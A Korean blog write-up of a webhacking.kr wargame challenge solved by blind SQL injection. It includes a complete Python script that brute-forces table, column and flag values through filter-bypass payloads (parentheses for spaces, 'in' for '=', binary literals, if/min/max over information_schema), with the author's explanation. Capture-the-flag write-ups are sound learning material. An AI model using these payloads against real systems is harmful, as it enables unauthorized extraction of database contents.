하... 너무 힘들었던 문제이다.
sql injection문제는 웬만하면 머리싸매고 고민하면 풀리는데 이 문젠 이틀동안 머리싸매고 안되가지고 writeup보고 풀었다.
저기 no값이 1혹은 true 값이면 저렇게 result에 1이라고 뜬다.
그리고 필터링 값들을 입력하면 no hack이라 뜨는데 union,and,띄어쓰기,limit,where 등등 거의 대부분 필터링 되어 있다.
일단 아무것도 모르니 db구조를 파악해야한다.
from requests import get
from tqdm import tqdm
host = "https://webhacking.kr/challenge/web-10"
strings = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@{}.,/$^&()-_"
table= 'flag_ab733768' #
column = 'flag_3a55b31d'
flag = ""
l=0
# db길이 7 chall3
# table 길이 13
for i in tqdm(range(1,100)):
r = get(f"{host}/?no=if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({i}),1,2)")
if ('<td>1</td>' in r.text):
print(f'{i}')
flag = True
break
for i in tqdm(range(1,14)):
for s in strings:
r = get(f"{host}/?no=if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),{i},1))from(information_schema.tables))in({bin(ord(s))}),1,2)")
if ('<td>1</td>' in r.text):
table+=s
print(f'table name : {s}')
break
print(table)
for i in tqdm(range(1,100)):
r = get(f"{host}/?no=if((select(length(min(if((select(table_schema)in(database())),column_name,null))))from(information_schema.columns))in({i}),1,2)")
if ('<td>1</td>' in r.text):
print(i)
break
for i in tqdm(range(1,14)):
for s in strings:
r = get(f"{host}/?no=if((select(substr(min(if((select(table_schema)in(database())),column_name,null)),{i},1))from(information_schema.columns))in({bin(ord(s))}),1,2)")
if ('<td>1</td>' in r.text):
column+=s
print(f'column name : {s}')
break
print(column)
# 길이 27
for i in tqdm(range(1,100)):
r = get(f"{host}/?no=if(((select(length(max(flag_3a55b31d)))from(flag_ab733768)))in({i}),1,2)")
if ('<td>1</td>' in r.text):
print(i)
break
for i in tqdm(range(1,28)):
for s in strings:
r = get(f"{host}/?no=if((select(substr(max(flag_3a55b31d),{i},1))from(flag_ab733768))in({bin(ord(s))}),1,2)")
if ('<td>1</td>' in r.text):
flag+=s
print(f'flag name : {s}')
break
print(flag)
일단 띄어쓰기는 괄호로 =경우엔 in으로 대체했다. 그리고 따옴표는 사용가능했지만 웬진 모르게 작동을 안해서 이진수로 변환해서 써줬다.
database같은 경우엔 database()로 쉽게 알아낼 수 있지만 테이블부턴 쉽지않다. where절이 있었으면 where table_schema=database()이렇게 했을텐데 where절이 필터링 되어있다.
그나마 유일하게 쓸 수 있는건 if랑 min, max 섞어쓰는거다.
예를들어 테이블 파악하는 코드를 갖고오면 아래와 같다.
for i in tqdm(range(1,14)):
for s in strings:
r = get(f"{host}/?no=if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),{i},1))from(information_schema.tables))in({bin(ord(s))}),1,2)")
if ('<td>1</td>' in r.text):
table+=s
print(f'table name : {s}')
break
if(select(table_schema)in(database()),table_name,null) 로 database안에 있는 테이블을 갖고왔다.
그다음 limit절을 쓸 수 엇으니 min으로 한번 뽑아보고 max로도 한번 뽑아봤다.
물론 답이 아닐수도 있지만 쓸 수 있는게 이거밖에 없으니 이거라도 써줬다.
그렇게 쭉 구하면되는데 일단 column length구하는 코드를 갖고와보겠다.
if(((select(length(max(flag_3a55b31d)))from(flag_ab733768)))in({i}),1,2)")
아니 이거 이해가 안가는게 select(length(로 뽑을 수 있는건 이해했다. 그런데 length(select(flag~~)from (flag~)) 이렇게 하면 왜 안되는건질 모르겠다. select로 flag값 뽑아오고 그걸 length로 해서 하면 되지 않나? 이거문제에 적용하면 작동을 안한다.... (+혹시 이유아시면 댓글 부탁드려요,,,ㅠㅠ)
그래서 저거 코드 돌려서 뽑으면 flag값이 나온다.
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] child toctou (0) | 2024.08.01 |
---|---|
[Webhacking.kr] NotSQL (0) | 2024.07.27 |
[Webhacking.kr] old-30 (편법) (0) | 2024.07.15 |
[Webhacking.kr] old-45 풀이 (0) | 2024.07.15 |
[Webhacking.kr] old-28 (with. htaccess in apache) (0) | 2024.07.12 |